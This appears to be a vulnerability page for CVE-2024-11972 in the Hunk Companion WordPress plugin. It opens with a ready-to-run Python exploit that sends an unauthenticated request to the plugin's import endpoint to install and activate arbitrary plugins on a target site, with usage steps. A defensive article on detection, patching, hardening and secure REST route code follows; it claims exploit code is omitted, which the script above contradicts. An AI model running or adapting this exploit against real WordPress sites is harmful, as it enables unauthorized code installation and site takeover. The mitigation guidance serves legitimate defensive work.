Hunk Companion Plugin 1.9.0 - Unauthenticated Plugin Installation
# Exploit Title: Hunk Companion Plugin 1.9.0 - Unauthenticated Plugin Installation
# Date: 16 December, 2024
# Exploit Author: Jun Takemura
# Author's GitHub: https://github.com/JunTakemura
# Author's Blog: juntakemura.dev
# Vendor Homepage: https://themehunk.com
# Software Link: https://wordpress.org/plugins/hunk-companion/
# Version: Tested on Hunk Companion 1.8.8
# CVE: CVE-2024-11972
# Vulnerability Description:
# Exploits a flaw in the Hunk Companion plugin's permission_callback for the
# /wp-json/hc/v1/themehunk-import endpoint, allowing unauthenticated attackers
# to install and activate arbitrary plugins from the WordPress.org repository.
# Tested on: Ubuntu
# Original vulnerability discovered by: Daniel Rodriguez
#
# Usage:
# 1. Update `target_url` below with the target WordPress site's URL.
# 2. Update `plugin_name` with the slug of the plugin you want to install.
# 3. Run: python3 exploit.py
#
import requests
from urllib.parse import urljoin
# Update 'URL' with your target WordPress site URL, for example "http://localhost/wordpress"
target_url = "URL"
# Update 'NAME' with desired plugin's name (slug), for example "wp-query-console"
plugin_name = "NAME"
endpoint = "/wp-json/hc/v1/themehunk-import"
url = urljoin(target_url, endpoint)
payload = {
"params": {
"plugin": {
plugin_name: "Plugin Label"
},
"allPlugins": [
{
plugin_name: f"{plugin_name}/{plugin_name}.php"
}
],
"themeSlug": "theme",
"proThemePlugin": "plugin",
"templateType": "free",
"tmplFreePro": "theme",
"wpUrl": target_url
}
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64)",
"Content-Type": "application/json"
}
try:
response = requests.post(url, json=payload, headers=headers, timeout=10)
response.raise_for_status() # Raises an HTTPError if the response is not 2xx
print(f"[+] Exploit sent successfully.")
print(f"Response Status Code: {response.status_code}")
print(f"Response Body: {response.text}")
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}") Hunk Companion Plugin Unauthenticated Plugin Installation (CVE-2024-11972) — Analysis and Mitigation
This article explains the unauthenticated plugin installation vulnerability reported for the Hunk Companion WordPress plugin (CVE-2024-11972). It covers what the issue is, why it matters, how to detect it on your site, safe remediation and hardening steps for site owners, and secure coding guidelines for plugin/theme authors. All recommendations below focus on defensive measures and incident response; exploit code or step-by-step attack instructions are intentionally omitted.
Executive summary
| Item | Details |
|---|---|
| Vulnerability | Insufficient permission checks on a REST API endpoint allowing unauthenticated installation/activation of plugins |
| CVE | CVE-2024-11972 |
| Affected versions | Reported in versions prior to 1.9.0 (test reports referenced 1.8.8) |
| Patched in | 1.9.0 (upgrade recommended) |
| Impact | Remote, unauthenticated plugin installation and activation — potential site takeover, persistence, data exfiltration |
What happened — technical overview (high level)
WordPress provides a REST API that plugins can extend by registering custom endpoints. Each REST route should enforce appropriate access controls via a permission_callback. In the reported issue, a plugin endpoint intended for theme/plugin provisioning did not validate the caller’s authentication or capabilities properly. As a result, an unauthenticated HTTP request could trigger server-side logic that installs and activates plugins — a sensitive operation that should require a privileged user.
Key concepts:
- permission_callback: a callable that returns true only when the caller has appropriate rights (e.g., is logged in and has install/activate capability).
- install/activate capabilities: WordPress capabilities such as install_plugins and activate_plugins control who may add or enable code on the site.
- Remote code installation: installing third-party plugins is effectively a remote code execution vector when combined with arbitrary plugin activation.
Why this is dangerous
- Unauthenticated actor can introduce arbitrary plugins sourced from third‑party repositories, which may include malicious code.
- Installed plugins can create admin users, install backdoors, or run persistent scheduled tasks.
- Once code is on the site, it’s difficult to guarantee complete cleanup without a clean backup and full forensic inspection.
Detection — what to look for
Detection combines log analysis, administrative checks, and file system inspection. The following indicators are defensive and non-actionable.
- Unusual POST requests in access logs to REST endpoints, especially to any endpoint under
/wp-json/hc/v1/, originating from unknown IPs or with suspicious User-Agents. - New or unexpected plugins listed in WordPress admin (Dashboard → Plugins) or via server-side listing tools.
- New administrator accounts, unexpected cron jobs, or scheduled hooks that were not created by known administrators.
- File changes under
wp-content/plugins/or modified timestamps that don’t match expected maintenance work.
Quick administrative checks
If you have administrative access to the site, use benign, audit-focused commands to assess status. Example WP-CLI checks (run as an authorized administrator on the server):
wp plugin list
wp user list --role=administrator
wp option get active_pluginsExplanation: These commands list installed plugins, administrator accounts, and currently active plugins so you can spot unexpected items. They require server access or proper WP-CLI privileges and should be executed only by authorized personnel.
Immediate mitigation (site owners)
- Apply the vendor patch immediately: update Hunk Companion to the patched release (1.9.0 or later) provided by the vendor.
- If you cannot immediately update, consider disabling the plugin until you can patch or remove it entirely if you do not need it.
- Harden the site by temporarily disabling plugin and theme file modifications from the admin interface by adding to
wp-config.php(use with caution):
define('DISALLOW_FILE_MODS', true);Explanation: When set, WordPress disables plugin/theme installation and update operations via the admin UI and automatic updates. This is a mitigation to prevent remote installs; it does not replace patching, and it requires FTP/SSH or host control to revert later.
- Audit and remove any unauthorized plugins and user accounts discovered.
- Rotate credentials for all admin users and update API keys or secrets that may have been exposed.
- If compromise is suspected, take the site offline (maintenance mode) while performing a forensic review and restore from a known-good backup if necessary.
- Deploy or tune a Web Application Firewall (WAF) to block or rate-limit suspicious POST requests to REST endpoints while you patch. Prioritize blocking unauthenticated access to sensitive endpoints.
Recommended incident response checklist
- Isolate the environment and capture logs for the suspected timeframe.
- Identify all new plugins, themes, or modified files; capture checksums for forensic analysis.
- Check for new administrator users, scheduled tasks, or outbound network connections initiated by the web server.
- Rotate passwords, API keys, and any stored credentials; invalidate sessions for all users.
- Restore from a clean backup if backdoors or unknown modifications are present; otherwise, remove malicious artifacts and patch.
- Conduct a full malware scan using multiple engines and perform manual code review on unfamiliar plugins before reactivation.
Secure coding guidance for plugin/theme authors
Plugin authors should assume any endpoint may be targeted by an unauthenticated actor. Enforce strict permission checks and input validation. Key recommendations:
- Always implement a permission_callback for REST routes and require appropriate capabilities (e.g.,
install_plugins,activate_plugins). - Validate and sanitize all input parameters before use; do not accept arbitrary file paths or remote URLs without strict validation.
- Log sensitive actions and rate-limit operations that modify the system (install, activate, delete).
- Fail closed: if a permission check cannot be performed, deny the operation.
Example: secure REST route registration (defensive)
add_action('rest_api_init', function () {
register_rest_route('hc/v1', '/themehunk-import', array(
'methods' => 'POST',
'callback' => 'hc_themehunk_import',
'permission_callback' => function (WP_REST_Request $request) {
// Only allow logged-in users with the install capability
if ( ! is_user_logged_in() ) {
return new WP_Error('rest_forbidden', 'Authentication required', array('status' => 401));
}
return current_user_can('install_plugins');
},
));
});Explanation: This code registers a REST route and ensures only authenticated users who have the install_plugins capability can call the endpoint. The permission_callback returns an explicit error for unauthenticated calls and performs a capability check for authorization.
Input validation example
function hc_themehunk_import(WP_REST_Request $request) {
$params = $request->get_param('params') ?: array();
// Strictly validate expected structure and types
if ( empty($params['plugin']) || ! is_array($params['plugin']) ) {
return new WP_Error('invalid_params', 'Invalid plugin parameter', array('status' => 400));
}
// Sanitize plugin slugs / names
$safe_plugins = array();
foreach ($params['plugin'] as $slug => $label) {
$slug = sanitize_key($slug); // allows only safe characters for slugs
$label = sanitize_text_field($label);
$safe_plugins[$slug] = $label;
}
// Proceed only with validated values and required capabilities
if ( ! current_user_can('install_plugins') ) {
return new WP_Error('forbidden', 'Insufficient permissions', array('status' => 403));
}
// ... further guarded logic for installation/activation ...
}Explanation: This handler validates structure, sanitizes inputs (using WordPress helper functions), and double-checks capabilities before performing any sensitive action. It avoids executing operations on unchecked user input.
Longer-term hardening & best practices
- Minimize installed plugins and remove unused ones to reduce attack surface.
- Keep WordPress core, themes and plugins up to date and subscribe to vendor advisories for critical patches.
- Enforce strong authentication (MFA) for administrator accounts.
- Use least privilege for service accounts and ensure file permissions prevent the web server from writing outside intended directories.
- Monitor outbound network activity originating from web processes — unusual connections can indicate compromised code attempting to contact a C2 server.
References and further reading
- CVE-2024-11972 — public advisory information (vendor and security researcher advisories)
- WordPress Developer Handbook — REST API: register_rest_route and permission_callback
- WordPress Hardening Guide — DISALLOW_FILE_MODS and secure configuration
Summary: If you operate a WordPress site using Hunk Companion (or any plugin that interacts with the REST API), treat this vulnerability as high priority: apply the vendor patch, audit your site for unauthorized changes, and implement the defensive coding and hardening steps above to reduce future risk.